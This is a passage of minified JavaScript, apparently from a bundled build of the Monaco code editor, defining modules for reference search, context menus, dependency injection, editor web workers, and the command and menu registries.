e.create(\"vs/editor/contrib/referenceSearch/browser/referencesController\",t)}),define(d[365],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/referenceSearch/browser/referencesModel\",t)}),define(d[125],h([1,0,365,38,11,45,3,9,108,7,2]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var d=function(){function e(e,t,n){this._parent=e,this._range=t,this._eventBus=n,this._id=u.defaultGenerator.nextId()}return Object.defineProperty(e.prototype,\"id\",{get:function(){return this._id},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"model\",{get:function(){return this._parent},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"parent\",{get:function(){return this._parent},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"uri\",{get:function(){return this._parent.uri},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"name\",{get:function(){return this._parent.name},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"directory\",{get:function(){return this._parent.directory},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"range\",{get:function(){return this._range},set:function(e){this._range=e,this._eventBus.emit(\"ref/changed\",this)},enumerable:!0,configurable:!0}),e.prototype.getAriaMessage=function(){return n.localize(0,null,r.basename(this.uri.fsPath),this.range.startLineNumber,this.range.startColumn)},e}();t.OneReference=d;var h=function(){function e(e){this._modelReference=e}return Object.defineProperty(e.prototype,\"_model\",{get:function(){return this._modelReference.object.textEditorModel},enumerable:!0,configurable:!0}),e.prototype.preview=function(e,t){void 0===t&&(t=8);var n=this._model;if(n){var i=e.startLineNumber,o=e.startColumn,r=e.endColumn,s=n.getWordUntilPosition({lineNumber:i,column:o-t}),u=new c.Range(i,s.startColumn,i,o),l=new c.Range(i,r,i,Number.MAX_VALUE);return{before:n.getValueInRange(u).replace(/^\\s+/,a.empty),inside:n.getValueInRange(e),after:n.getValueInRange(l).replace(/\\s+$/,a.empty)}}},e.prototype.dispose=function(){this._modelReference&&(this._modelReference.dispose(),this._modelReference=null)},e}();t.FilePreview=h;var p=function(){function e(e,t){this._parent=e,this._uri=t,this._children=[]}return Object.defineProperty(e.prototype,\"id\",{get:function(){return this._uri.toString()},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"parent\",{get:function(){return this._parent},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"children\",{get:function(){return this._children},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"uri\",{get:function(){return this._uri},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"name\",{get:function(){return r.basename(this.uri.fsPath)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"directory\",{get:function(){return r.dirname(this.uri.fsPath)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"preview\",{get:function(){return this._preview},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"failure\",{get:function(){return this._loadFailure},enumerable:!0,configurable:!0}),e.prototype.getAriaMessage=function(){var e=this.children.length;return 1===e?n.localize(1,null,r.basename(this.uri.fsPath),this.uri.fsPath):n.localize(2,null,e,r.basename(this.uri.fsPath),this.uri.fsPath)},e.prototype.resolve=function(e){var t=this;return this._resolved?l.TPromise.as(this):e.createModelReference(this._uri).then(function(e){if(!e.object)throw e.dispose(),new Error;return t._preview=new h(e),t._resolved=!0,t},function(e){return t._children=[],t._resolved=!0,t._loadFailure=e,t})},e.prototype.dispose=function(){this._preview&&(this._preview.dispose(),this._preview=null)},e}();t.FileReferences=p;var f=function(){function e(t){this._groups=[],this._references=[],this._eventBus=new i.EventEmitter,this.onDidChangeReferenceRange=o.fromEventEmitter(this._eventBus,\"ref/changed\"),t.sort(e._compareReferences);for(var n,r=0,s=t;r<s.length;r++){var a=s[r];if(n&&n.uri.toString()===a.uri.toString()||(n=new p(this,a.uri),this.groups.push(n)),0===n.children.length||!c.Range.equalsRange(a.range,n.children[n.children.length-1].range)){var u=new d(n,a.range,this._eventBus);this._references.push(u),n.children.push(u)}}}return Object.defineProperty(e.prototype,\"empty\",{get:function(){return 0===this._groups.length},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"references\",{get:function(){return this._references},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"groups\",{get:function(){return this._groups},enumerable:!0,configurable:!0}),e.prototype.getAriaMessage=function(){return this.empty?n.localize(3,null):1===this.references.length?n.localize(4,null,this.references[0].uri.fsPath):1===this.groups.length?n.localize(5,null,this.references.length,this.groups[0].uri.fsPath):n.localize(6,null,this.references.length,this.groups.length)},e.prototype.nextReference=function(e){var t=e.parent.children.indexOf(e),n=e.parent.children.length,i=e.parent.parent.groups.length;return t+1<n||1===i?e.parent.children[(t+1)%n]:(t=e.parent.parent.groups.indexOf(e.parent),t=(t+1)%i,e.parent.parent.groups[t].children[0])},e.prototype.nearestReference=function(e,t){var n=this._references.map(function(n,i){return{idx:i,prefixLen:a.commonPrefixLength(n.uri.toString(),e.toString()),offsetDist:100*Math.abs(n.range.startLineNumber-t.lineNumber)+Math.abs(n.range.startColumn-t.column)}}).sort(function(e,t){return e.prefixLen>t.prefixLen?-1:e.prefixLen<t.prefixLen?1:e.offsetDist<t.offsetDist?-1:e.offsetDist>t.offsetDist?1:0})[0];if(n)return this._references[n.idx]},e.prototype.dispose=function(){this._groups=s.dispose(this._groups)},e._compareReferences=function(e,t){var n=e.uri.toString(),i=t.uri.toString();return n<i?-1:n>i?1:c.Range.compareRangesUsingStarts(e.range,t.range)},e}();t.ReferencesModel=f}),define(d[367],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/referenceSearch/browser/referencesWidget\",t)}),define(d[368],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/rename/browser/rename\",t)}),define(d[369],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/rename/browser/renameInputField\",t)}),define(d[370],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/smartSelect/common/smartSelect\",t)}),define(d[371],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/suggest/browser/suggestController\",t)}),define(d[372],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/suggest/browser/suggestWidget\",t)}),define(d[373],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\",t)}),define(d[374],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/wordHighlighter/common/wordHighlighter\",t)}),define(d[375],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/zoneWidget/browser/peekViewWidget\",t)}),define(d[376],h([6,8]),function(e,t){return e.create(\"vs/editor/standalone/browser/inspectTokens/inspectTokens\",t)}),define(d[377],h([6,8]),function(e,t){return e.create(\"vs/editor/standalone/browser/quickOpen/gotoLine\",t)}),define(d[378],h([6,8]),function(e,t){return e.create(\"vs/editor/standalone/browser/quickOpen/quickCommand\",t)}),define(d[379],h([6,8]),function(e,t){return e.create(\"vs/editor/standalone/browser/quickOpen/quickOutline\",t)}),define(d[380],h([6,8]),function(e,t){return e.create(\"vs/editor/standalone/browser/standaloneCodeEditor\",t)}),define(d[381],h([6,8]),function(e,t){return e.create(\"vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\",t)}),define(d[382],h([6,8]),function(e,t){return e.create(\"vs/platform/configuration/common/configurationRegistry\",t)}),define(d[383],h([6,8]),function(e,t){return e.create(\"vs/platform/keybinding/common/abstractKeybindingService\",t)}),define(d[384],h([6,8]),function(e,t){return e.create(\"vs/platform/message/common/message\",t)}),define(d[385],h([6,8]),function(e,t){return e.create(\"vs/platform/theme/common/colorRegistry\",t)}),define(d[386],h([1,0,52,3,47,53,281,79,36,409]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var l=function(){function e(e,t,n,i){var o=this;this.setContainer(e),this.contextViewService=t,this.telemetryService=n,this.messageService=i,this.actionRunner=new r.ActionRunner,this.menuContainerElement=null,this.toDispose=[];var s=!1;this.toDispose.push(this.actionRunner.addListener(a.EventType.BEFORE_RUN,function(e){o.telemetryService&&o.telemetryService.publicLog(\"workbenchActionExecuted\",{id:e.action.id,from:\"contextMenu\"}),(s=!!e.retainActionItem)||o.contextViewService.hideContextView(!1)})),this.toDispose.push(this.actionRunner.addListener(a.EventType.RUN,function(e){s&&o.contextViewService.hideContextView(!1),s=!1,e.error&&o.messageService&&o.messageService.show(u.default.Error,e.error)}))}return e.prototype.setContainer=function(e){var t=this;this.$el&&(this.$el.off([\"click\",\"mousedown\"]),this.$el=null),e&&(this.$el=n.$(e),this.$el.on(\"mousedown\",function(e){return t.onMouseDown(e)}))},e.prototype.showContextMenu=function(e){var t=this;e.getActions().done(function(n){t.contextViewService.showContextView({getAnchor:function(){return e.getAnchor()},canRelayout:!1,render:function(o){t.menuContainerElement=o;var r=e.getMenuClassName?e.getMenuClassName():\"\";r&&(o.className+=\" \"+r);var u=new s.Menu(o,n,{actionItemProvider:e.getActionItem,context:e.getActionsContext?e.getActionsContext():null,actionRunner:t.actionRunner}),l=u.addListener(a.EventType.CANCEL,function(e){t.contextViewService.hideContextView(!0)}),c=u.addListener(a.EventType.BLUR,function(e){t.contextViewService.hideContextView(!0)});return u.focus(),i.combinedDisposable([l,c,u])},onHide:function(n){e.onHide&&e.onHide(n),t.menuContainerElement=null}})})},e.prototype.onMouseDown=function(e){if(this.menuContainerElement){for(var t=new o.StandardMouseEvent(e).target;t;){if(t===this.menuContainerElement)return;t=t.parentElement}this.contextViewService.hideContextView()}},e.prototype.dispose=function(){this.setContainer(null)},e}();t.ContextMenuHandler=l}),define(d[387],h([1,0,386]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e,t,i,o){this.contextMenuHandler=new n.ContextMenuHandler(e,o,t,i)}return e.prototype.dispose=function(){this.contextMenuHandler.dispose()},e.prototype.setContainer=function(e){this.contextMenuHandler.setContainer(e)},e.prototype.showContextMenu=function(e){this.contextMenuHandler.showContextMenu(e)},e}();t.ContextMenuService=i}),define(d[187],h([1,0,10]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e){this._staticArguments=e}return e.prototype.appendStaticArguments=function(e){this._staticArguments.push.apply(this._staticArguments,e)},e.prototype.staticArguments=function(e){return isNaN(e)?this._staticArguments.slice(0):this._staticArguments[e]},e.prototype._validate=function(e){if(!e)throw n.illegalArgument(\"can not be falsy\")},e}();t.AbstractDescriptor=i;var o=function(e){function t(t){for(var n=[],i=1;i<arguments.length;i++)n[i-1]=arguments[i];var o=e.call(this,n)||this;return o._ctor=t,o}return f(t,e),Object.defineProperty(t.prototype,\"ctor\",{get:function(){return this._ctor},enumerable:!0,configurable:!0}),t.prototype.bind=function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];var i=[];return i=i.concat(this.staticArguments()),i=i.concat(e),new(t.bind.apply(t,[void 0,this._ctor].concat(i)))},t}(i);t.SyncDescriptor=o,t.createSyncDescriptor=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return new(o.bind.apply(o,[void 0,e].concat(t)))};var r=function(e){function t(t,n){for(var i=[],o=2;o<arguments.length;o++)i[o-2]=arguments[o];var r=e.call(this,i)||this;if(r._moduleName=t,r._ctorName=n,\"string\"!=typeof t)throw new Error(\"Invalid AsyncDescriptor arguments, expected `moduleName` to be a string!\");return r}return f(t,e),t.create=function(e,n){return new t(e,n)},Object.defineProperty(t.prototype,\"moduleName\",{get:function(){return this._moduleName},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"ctorName\",{get:function(){return this._ctorName},enumerable:!0,configurable:!0}),t.prototype.bind=function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];var i=[];return i=i.concat(this.staticArguments()),i=i.concat(e),new(t.bind.apply(t,[void 0,this.moduleName,this.ctorName].concat(i)))},t}(i);t.AsyncDescriptor=r}),define(d[16],h([1,0]),function(e,t){\"use strict\";function n(e,t,n,i){t[o.DI_TARGET]===t?t[o.DI_DEPENDENCIES].push({id:e,index:n,optional:i}):(t[o.DI_DEPENDENCIES]=[{id:e,index:n,optional:i}],t[o.DI_TARGET]=t)}function i(e){if(o.serviceIds.has(e))return o.serviceIds.get(e);var t=function(e,i,o){if(3!==arguments.length)throw new Error(\"@IServiceName-decorator can only be used to decorate a parameter\");n(t,e,o,!1)};return t.toString=function(){return e},o.serviceIds.set(e,t),t}Object.defineProperty(t,\"__esModule\",{value:!0});var o;!function(e){e.serviceIds=new Map,e.DI_TARGET=\"$di$target\",e.DI_DEPENDENCIES=\"$di$dependencies\",e.getServiceDependencies=function(t){return t[e.DI_DEPENDENCIES]||[]}}(o=t._util||(t._util={})),t.IInstantiationService=i(\"instantiationService\"),t.createDecorator=i,t.optional=function(e){return function(t,i,o){if(3!==arguments.length)throw new Error(\"@optional-decorator can only be used to decorate a parameter\");n(e,t,o,!0)}}}),define(d[42],h([1,0,16,20]),function(e,t,n,i){\"use strict\";function o(e){if(e){var t=e.getControl();if(t){if(i.isCommonCodeEditor(t))return{codeEditor:t,diffEditor:null};if(i.isCommonDiffEditor(t))return{codeEditor:null,diffEditor:t}}}return{codeEditor:null,diffEditor:null}}Object.defineProperty(t,\"__esModule\",{value:!0}),t.ICodeEditorService=n.createDecorator(\"codeEditorService\"),t.getCodeOrDiffEditor=o,t.getCodeEditor=function(e){var t=o(e);return t.codeEditor||t.diffEditor&&t.diffEditor.getModifiedEditor()||null}}),define(d[61],h([1,0,16]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.ID_EDITOR_WORKER_SERVICE=\"editorWorkerService\",t.IEditorWorkerService=n.createDecorator(t.ID_EDITOR_WORKER_SERVICE)}),define(d[88],h([1,0,16]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.IModeService=n.createDecorator(\"modeService\")}),define(d[56],h([1,0,16]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.IModelService=n.createDecorator(\"modelService\")}),define(d[87],h([1,0,16]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.ITextModelService=n.createDecorator(\"textModelService\")}),define(d[146],h([1,0,16]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.ITextResourceConfigurationService=n.createDecorator(\"textResourceConfigurationService\")});var y=this&&this.__param||function(e,t){return function(n,i){t(n,i,e)}};define(d[147],h([1,0,18,3,7,197,473,17,56,226,43,146,88]),function(e,t,n,i,o,r,s,a,u,l,c,d,h){\"use strict\";function p(e,t){var n=e.getModel(t);return!!n&&!n.isTooLargeForTokenization()}Object.defineProperty(t,\"__esModule\",{value:!0});var g=6e4,m=3e5,_=function(e){function t(t,i,r){var s=e.call(this)||this;return s._modelService=t,s._workerManager=s._register(new b(s._modelService)),s._register(a.LinkProviderRegistry.register(\"*\",{provideLinks:function(e,t){return p(s._modelService,e.uri)?n.wireCancellationToken(t,s._workerManager.withWorker().then(function(t){return t.computeLinks(e.uri)})):o.TPromise.as([])}})),s._register(a.SuggestRegistry.register(\"*\",new C(s._workerManager,i,r,s._modelService))),s}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this)},t.prototype.canComputeDiff=function(e,t){return p(this._modelService,e)&&p(this._modelService,t)},t.prototype.computeDiff=function(e,t,n){return this._workerManager.withWorker().then(function(i){return i.computeDiff(e,t,n)})},t.prototype.canComputeDirtyDiff=function(e,t){return p(this._modelService,e)&&p(this._modelService,t)},t.prototype.computeDirtyDiff=function(e,t,n){return this._workerManager.withWorker().then(function(i){return i.computeDirtyDiff(e,t,n)})},t.prototype.computeMoreMinimalEdits=function(e,t,n){return Array.isArray(t)&&0!==t.length&&p(this._modelService,e)?this._workerManager.withWorker().then(function(i){return i.computeMoreMinimalEdits(e,t,n)}):o.TPromise.as(t)},t.prototype.canNavigateValueSet=function(e){return p(this._modelService,e)},t.prototype.navigateValueSet=function(e,t,n){return this._workerManager.withWorker().then(function(i){return i.navigateValueSet(e,t,n)})},t=v([y(0,u.IModelService),y(1,d.ITextResourceConfigurationService),y(2,h.IModeService)],t)}(i.Disposable);t.EditorWorkerServiceImpl=_;var C=function(){function e(e,t,n,i){this._workerManager=e,this._configurationService=t,this._modeService=n,this._modelService=i}return e.prototype.provideCompletionItems=function(e,t){if(this._configurationService.getConfiguration(e.uri,t,\"editor\").wordBasedSuggestions&&p(this._modelService,e.uri))return this._workerManager.withWorker().then(function(n){return n.textualSuggest(e.uri,t)})},e}(),b=function(e){function t(t){var i=e.call(this)||this;return i._modelService=t,i._editorWorkerClient=null,i._register(new n.IntervalTimer).cancelAndSet(function(){return i._checkStopIdleWorker()},Math.round(m/2)),i._register(i._modelService.onModelRemoved(function(e){return i._checkStopEmptyWorker()})),i}return f(t,e),t.prototype.dispose=function(){this._editorWorkerClient&&(this._editorWorkerClient.dispose(),this._editorWorkerClient=null),e.prototype.dispose.call(this)},t.prototype._checkStopEmptyWorker=function(){this._editorWorkerClient&&0===this._modelService.getModels().length&&(this._editorWorkerClient.dispose(),this._editorWorkerClient=null)},t.prototype._checkStopIdleWorker=function(){this._editorWorkerClient&&(new Date).getTime()-this._lastWorkerUsedTime>m&&(this._editorWorkerClient.dispose(),this._editorWorkerClient=null)},t.prototype.withWorker=function(){return this._lastWorkerUsedTime=(new Date).getTime(),this._editorWorkerClient||(this._editorWorkerClient=new E(this._modelService,\"editorWorkerService\")),o.TPromise.as(this._editorWorkerClient)},t}(i.Disposable),w=function(e){function t(t,i,o){var r=e.call(this)||this;if(r._syncedModels=Object.create(null),r._syncedModelsLastUsedTime=Object.create(null),r._proxy=t,r._modelService=i,!o){var s=new n.IntervalTimer;s.cancelAndSet(function(){return r._checkStopModelSync()},Math.round(g/2)),r._register(s)}return r}return f(t,e),t.prototype.dispose=function(){for(var t in this._syncedModels)i.dispose(this._syncedModels[t]);this._syncedModels=Object.create(null),this._syncedModelsLastUsedTime=Object.create(null),e.prototype.dispose.call(this)},t.prototype.esureSyncedResources=function(e){for(var t=0;t<e.length;t++){var n=e[t],i=n.toString();this._syncedModels[i]||this._beginModelSync(n),this._syncedModels[i]&&(this._syncedModelsLastUsedTime[i]=(new Date).getTime())}},t.prototype._checkStopModelSync=function(){var e=(new Date).getTime(),t=[];for(var n in this._syncedModelsLastUsedTime)e-this._syncedModelsLastUsedTime[n]>g&&t.push(n);for(var i=0;i<t.length;i++)this._stopModelSync(t[i])},t.prototype._beginModelSync=function(e){var t=this,n=this._modelService.getModel(e);if(n&&!n.isTooLargeForTokenization()){var i=e.toString();this._proxy.acceptNewModel({url:n.uri.toString(),lines:n.getLinesContent(),EOL:n.getEOL(),versionId:n.getVersionId()});var o=[];o.push(n.onDidChangeContent(function(e){t._proxy.acceptModelChanged(i.toString(),e)})),o.push(n.onWillDispose(function(){t._stopModelSync(i)})),o.push({dispose:function(){t._proxy.acceptRemovedModel(i)}}),this._syncedModels[i]=o}},t.prototype._stopModelSync=function(e){var t=this._syncedModels[e];delete this._syncedModels[e],delete this._syncedModelsLastUsedTime[e],i.dispose(t)},t}(i.Disposable),S=function(){function e(e){this._instance=e,this._proxyObj=o.TPromise.as(this._instance)}return e.prototype.dispose=function(){this._instance.dispose(),this._instance=null,this._proxyObj=null},e.prototype.getProxyObject=function(){return new n.ShallowCancelThenPromise(this._proxyObj)},e}(),E=function(e){function t(t,n){var i=e.call(this)||this;return i._modelService=t,i._workerFactory=new s.DefaultWorkerFactory(n),i._worker=null,i._modelManager=null,i}return f(t,e),t.prototype._getOrCreateWorker=function(){if(!this._worker)try{this._worker=this._register(new r.SimpleWorkerClient(this._workerFactory,\"vs/editor/common/services/editorSimpleWorker\"))}catch(e){r.logOnceWebWorkerWarning(e),this._worker=new S(new l.EditorSimpleWorkerImpl)}return this._worker},t.prototype._getProxy=function(){var e=this;return new n.ShallowCancelThenPromise(this._getOrCreateWorker().getProxyObject().then(null,function(t){return r.logOnceWebWorkerWarning(t),e._worker=new S(new l.EditorSimpleWorkerImpl),e._getOrCreateWorker().getProxyObject()}))},t.prototype._getOrCreateModelManager=function(e){return this._modelManager||(this._modelManager=this._register(new w(e,this._modelService,!1))),this._modelManager},t.prototype._withSyncedResources=function(e){var t=this;return this._getProxy().then(function(n){return t._getOrCreateModelManager(n).esureSyncedResources(e),n})},t.prototype.computeDiff=function(e,t,n){return this._withSyncedResources([e,t]).then(function(i){return i.computeDiff(e.toString(),t.toString(),n)})},t.prototype.computeDirtyDiff=function(e,t,n){return this._withSyncedResources([e,t]).then(function(i){return i.computeDirtyDiff(e.toString(),t.toString(),n)})},t.prototype.computeMoreMinimalEdits=function(e,t,n){return this._withSyncedResources([e]).then(function(i){return i.computeMoreMinimalEdits(e.toString(),t,n)})},t.prototype.computeLinks=function(e){return this._withSyncedResources([e]).then(function(t){return t.computeLinks(e.toString())})},t.prototype.textualSuggest=function(e,t){var n=this;return this._withSyncedResources([e]).then(function(i){var o=n._modelService.getModel(e);if(!o)return null;var r=c.LanguageConfigurationRegistry.getWordDefinition(o.getLanguageIdentifier().id),s=r.source,a=(r.global?\"g\":\"\")+(r.ignoreCase?\"i\":\"\")+(r.multiline?\"m\":\"\");return i.textualSuggest(e.toString(),t,s,a)})},t.prototype.navigateValueSet=function(e,t,n){var i=this;return this._withSyncedResources([e]).then(function(o){var r=i._modelService.getModel(e);if(!r)return null;var s=c.LanguageConfigurationRegistry.getWordDefinition(r.getLanguageIdentifier().id),a=s.source,u=(s.global?\"g\":\"\")+(s.ignoreCase?\"i\":\"\")+(s.multiline?\"m\":\"\");return o.navigateValueSet(e.toString(),t,n,a,u)})},t}(i.Disposable);t.EditorWorkerClient=E}),define(d[397],h([1,0,18,147]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.createWebWorker=function(e,t){return new o(e,t)};var o=function(e){function t(t,n){var i=e.call(this,t,n.label)||this;return i._foreignModuleId=n.moduleId,i._foreignModuleCreateData=n.createData||null,i._foreignProxy=null,i}return f(t,e),t.prototype._getForeignProxy=function(){var e=this;return this._foreignProxy||(this._foreignProxy=new n.ShallowCancelThenPromise(this._getProxy().then(function(t){return t.loadForeignModule(e._foreignModuleId,e._foreignModuleCreateData).then(function(n){e._foreignModuleId=null,e._foreignModuleCreateData=null;for(var i={},o=0;o<n.length;o++)i[n[o]]=function(e,t){return function(){var n=Array.prototype.slice.call(arguments,0);return t(e,n)}}(n[o],function(e,n){return t.fmr(e,n)});return i})}))),this._foreignProxy},t.prototype.getProxy=function(){return this._getForeignProxy()},t.prototype.withSyncedResources=function(e){var t=this;return this._withSyncedResources(e).then(function(e){return t.getProxy()})},t}(i.EditorWorkerClient)}),define(d[398],h([1,0,7,2,56,269]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){function e(e){this._modelService=e}return e.prototype.getRangesToPosition=function(e,t){return n.TPromise.as(this.getRangesToPositionSync(e,t))},e.prototype.getRangesToPositionSync=function(e,t){var n=this._modelService.getModel(e),i=[];return n&&this._doGetRangesToPosition(n,t).forEach(function(e){i.push({type:void 0,range:e})}),i},e.prototype._doGetRangesToPosition=function(e,t){var n,o,s=r.build(e);n=r.find(s,t);for(var a=[];n;)o&&i.Range.equalsRange(o,n.range)||a.push(n.range),o=n.range,n=n.parent;return a=a.reverse()},e=v([y(0,o.IModelService)],e)}();t.TokenSelectionSupport=s}),define(d[77],h([1,0,16]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.IStandaloneThemeService=n.createDecorator(\"themeService\")}),define(d[31],h([1,0,7,29,16]),function(e,t,n,i,o){\"use strict\";function r(e){return\"object\"==typeof e&&\"function\"==typeof e.handler&&(!e.description||\"object\"==typeof e.description)}Object.defineProperty(t,\"__esModule\",{value:!0}),t.ICommandService=o.createDecorator(\"commandService\"),t.CommandsRegistry=new(function(){function e(){this._commands=new Map}return e.prototype.registerCommand=function(e,t){var n=this;if(!t)throw new Error(\"invalid command\");var o;if(r(t)){var s=t.handler,a=t.description;if(a){for(var u=[],l=0,c=a.args;l<c.length;l++){var d=c[l];u.push(d.constraint)}o={description:a,handler:function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return i.validateConstraints(t,u),s.apply(void 0,[e].concat(t))}}}else o={handler:s}}else o={handler:t};var h=this._commands.get(e);return void 0===h?this._commands.set(e,o):Array.isArray(h)?h.unshift(o):this._commands.set(e,[o,h]),{dispose:function(){var t=n._commands.get(e);if(Array.isArray(t)){var i=t.indexOf(o);i>=0&&(t.splice(i,1),0===t.length&&n._commands.delete(e))}else r(t)&&n._commands.delete(e)}}},e.prototype.getCommand=function(e){var t=this._commands.get(e);return Array.isArray(t)?t[0]:t},e.prototype.getCommands=function(){var e=this,t=Object.create(null);return this._commands.forEach(function(n,i){t[i]=e.getCommand(i)}),t},e}()),t.NullCommandService={_serviceBrand:void 0,onWillExecuteCommand:function(){return{dispose:function(){}}},executeCommand:function(){return n.TPromise.as(void 0)}}}),define(d[401],h([1,0,10,24,7,2,17,18,31,56]),function(e,t,n,i,o,r,s,a,u,l){\"use strict\";function c(e){var t=[],i=s.LinkProviderRegistry.ordered(e).reverse().map(function(i){return a.asWinJsPromise(function(t){return i.provideLinks(e,t)}).then(function(e){if(Array.isArray(e)){var n=e.map(function(e){return new h(e,i)});t=d(t,n)}},n.onUnexpectedExternalError)});return o.TPromise.join(i).then(function(){return t})}function d(e,t){var n,i,o,s,a,u,l=[];for(n=0,o=0,i=e.length,s=t.length;n<i&&o<s;)a=e[n],u=t[o],r.Range.areIntersectingOrTouching(a.range,u.range)?n++:r.Range.compareRangesUsingStarts(a.range,u.range)<0?(l.push(a),n++):(l.push(u),o++);for(;n<i;n++)l.push(e[n]);for(;o<s;o++)l.push(t[o]);return l}Object.defineProperty(t,\"__esModule\",{value:!0});var h=function(){function e(e,t){this._link=e,this._provider=t}return Object.defineProperty(e.prototype,\"range\",{get:function(){return this._link.range},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"url\",{get:function(){return this._link.url},enumerable:!0,configurable:!0}),e.prototype.resolve=function(){var e=this;if(this._link.url)try{return o.TPromise.as(i.default.parse(this._link.url))}catch(e){return o.TPromise.wrapError(new Error(\"invalid\"))}return\"function\"==typeof this._provider.resolveLink?a.asWinJsPromise(function(t){return e._provider.resolveLink(e._link,t)}).then(function(t){return e._link=t||e._link,e._link.url?e.resolve():o.TPromise.wrapError(new Error(\"missing\"))}):o.TPromise.wrapError(new Error(\"missing\"))},e}();t.Link=h,t.getLinks=c,u.CommandsRegistry.registerCommand(\"_executeLinkProvider\",function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];var o=t[0];if(o instanceof i.default){var r=e.get(l.IModelService).getModel(o);if(r)return c(r)}})}),define(d[85],h([1,0,53,187,16,31]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){function e(e){this._id=e}return Object.defineProperty(e.prototype,\"id\",{get:function(){return this._id},enumerable:!0,configurable:!0}),e.EditorTitle=new e(\"1\"),e.EditorTitleContext=new e(\"2\"),e.EditorContext=new e(\"3\"),e.ExplorerContext=new e(\"4\"),e.ProblemsPanelContext=new e(\"5\"),e.DebugVariablesContext=new e(\"6\"),e.DebugWatchContext=new e(\"7\"),e.DebugCallStackContext=new e(\"8\"),e.DebugBreakpointsContext=new e(\"9\"),e.DebugConsoleContext=new e(\"10\"),e.SCMTitle=new e(\"11\"),e.SCMResourceGroupContext=new e(\"12\"),e.SCMResourceContext=new e(\"13\"),e.CommandPalette=new e(\"14\"),e.ViewTitle=new e(\"15\"),e.ViewItemContext=new e(\"16\"),e}();t.MenuId=s,t.IMenuService=o.createDecorator(\"menuService\"),t.MenuRegistry=new(function(){function e(){this._commands=Object.create(null),this._menuItems=Object.create(null)}return e.prototype.addCommand=function(e){var t=this._commands[e.id];return this._commands[e.id]=e,void 0!==t},e.prototype.getCommand=function(e){return this._commands[e]},e.prototype.appendMenuItem=function(e,t){var n=e.id,i=this._menuItems[n];return i?i.push(t):this._menuItems[n]=i=[t],{dispose:function(){var e=i.indexOf(t);e>=0&&i.splice(e,1)}}},e.prototype.getMenuItems=function(e){var t=e.id,n=this._menuItems[t]||[];return t===s.CommandPalette.id&&this._appendImplicitItems(n),n},e.prototype._appendImplicitItems=function(e){for(var t=new Set,n=0,i=e;n<i.length;n++){var o=i[n],r=o.command,s=o.alt;t.add(r.id),s&&t.add(s.id)}for(var a in this._commands)t.has(a)||e.push({command:this._commands[a]})},e}());var a=function(e){function t(t,n,i){var o=e.call(this,t,n)||this;return o._commandService=i,o}return f(t,e),t.prototype.run=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return(n=this._commandService).executeCommand.apply(n,[this.id].concat(e));var n},t=v([y(2,r.ICommandService)],t)}(n.Action);t.ExecuteCommandAction=a;var u=function(e){function t(n,i,o,r){var s=this;return s=\"string\"==typeof n.title?e.call(this,n.id,n.title,r)||this:e.call(this,n.id,n.title.value,r)||this,s._cssClass=n.iconClass,s._enabled=!0,s._options=o||{},s.item=n,s.alt=i?new t(i,void 0,s._options,r):void 0,s}return f(t,e),t.prototype.run=function(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];var i=[];return this._options.arg&&(i=i.concat([this._options.arg])),this._options.shouldForwardArgs&&(i=i.concat(t)),e.prototype.run.apply(this,i)},t=v([y(3,r.ICommandService)],t)}(a);t.MenuItemAction=u;var l=function(){function 